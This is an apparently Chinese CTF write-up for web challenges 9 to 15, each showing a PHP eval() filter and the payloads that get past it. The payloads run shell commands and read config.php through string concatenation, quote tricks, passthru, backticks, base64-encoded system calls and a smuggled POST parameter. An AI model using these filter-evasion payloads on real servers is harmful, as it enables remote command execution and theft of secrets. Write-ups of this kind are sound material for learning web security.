Part Ⅱ web 9-15

这一部分的题,主要是绕过过滤条件,进行命令执行

0x01 web 9

过滤条件:

if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}

payload:

c=highlight_file('config.php');

0x02 web 10

过滤条件:

if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}

过滤可用函数,可以使用构造法进行绕过:

c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
c=$a='highligh';$b='t_file';$d=$a.$b;$d('config.php');

0x03 web 11

过滤条件:

if(!preg_match("/system|exec|highlight|cat/i",$c)){
eval($c);
}

过滤掉上一题使用的cat,linux查看文件内容的函数有很多:less、more、tac。

或者使用单引号、双引号或者反斜杠绕过cat

ca't config.php
ca"t config.php
ca\t config.php

0x04 web 12

过滤条件:

if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}

过滤了文件名与后缀,也防止了使用构造法绕过过滤条件。

可以使用其他命令

passthru()
shell_exec()
popen()
proc_open()
pcntl_exec()

在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。

比如 cat ls 相当于将 ls出来的结果cat。

大佬的payload:

c=passthru("ca''t `ls`");
c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);

0x05 web 13

过滤条件:

if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
eval($c);
}

直接给出大佬的wp:

这次的过滤中增加了分号这样我们就只能执行一条语句了,在eval()中的是php语句,分号禁了,我们只能用 ?>来闭合语句了,这里再提下assert()

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

assert中 的字符串可以没有分号.

所以给出两个payload

c=passthru("ca''t `ls`")?>
c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp=))?>

0x06 web 14

过滤条件:

if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
eval($c);
}

不允许使用括号。

大佬的wp:

c=echo `$_POST[cmd]`?>

使用post提交:

cmd=cat config.php

0x07 web 15

if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
eval($c);
}

新增过滤了尖括号,放开了分号。

payload:

c=echo `$_POST[cmd]`;

使用post提交:

cmd=cat config.php

最新文章

  1. ASP.NET MVC搭建项目后台UI框架—11、自动加载下拉框查询
  2. iOS对象属性详解
  3. mysql优化一 之 优化内容概述及开启慢查日志的相关配置
  4. libcurl安装使用方法-简单实用(摘录)
  5. MySQL与Oracle 差异比较之五存储过程&amp;Function
  6. JQuery、js判断复选框是否选中状态
  7. Web网站的性能测试工具
  8. .net线程同步
  9. MySQL源码之Thread cache
  10. OpenMP并行程序设计
  11. poj 2836 Rectangular Covering(状态压缩dp)
  12. JDBC结果集rs.next()注意事项
  13. ansible之二:模块用法
  14. 潭州课堂25班:Ph201805201 爬虫高级 第九课 scrapyd 部署 (课堂笔记)
  15. django 1.11.1 连接MySQL
  16. SSL/TLS代理(termination proxy)
  17. c# 中foreach 循环
  18. Linux-静态库生成
  19. tomcat源码阅读之过滤器
  20. 【加密算法】MD5

热门文章

  1. 我去,你竟然还不会用 Java final 关键字
  2. Windows环境下PHP安装pthreads多线程扩展
  3. 用Springboot干掉IBM的WAS-为公司省点钱
  4. Java_图片转字符
  5. Android学习笔记.9.png格式图片
  6. ida 调试android之路
  7. 手把手教你基于SqlSugar4编写一个可视化代码生成器(生成实体,以SqlServer为例,文末附源码)
  8. 【解读】TCP协议
  9. 黎活明8天快速掌握android视频教程--17_创建数据库与完成数据添删改查
  10. JavaWeb网上图书商城完整项目--day02-4.regist页面提交表单时对所有输入框进行校验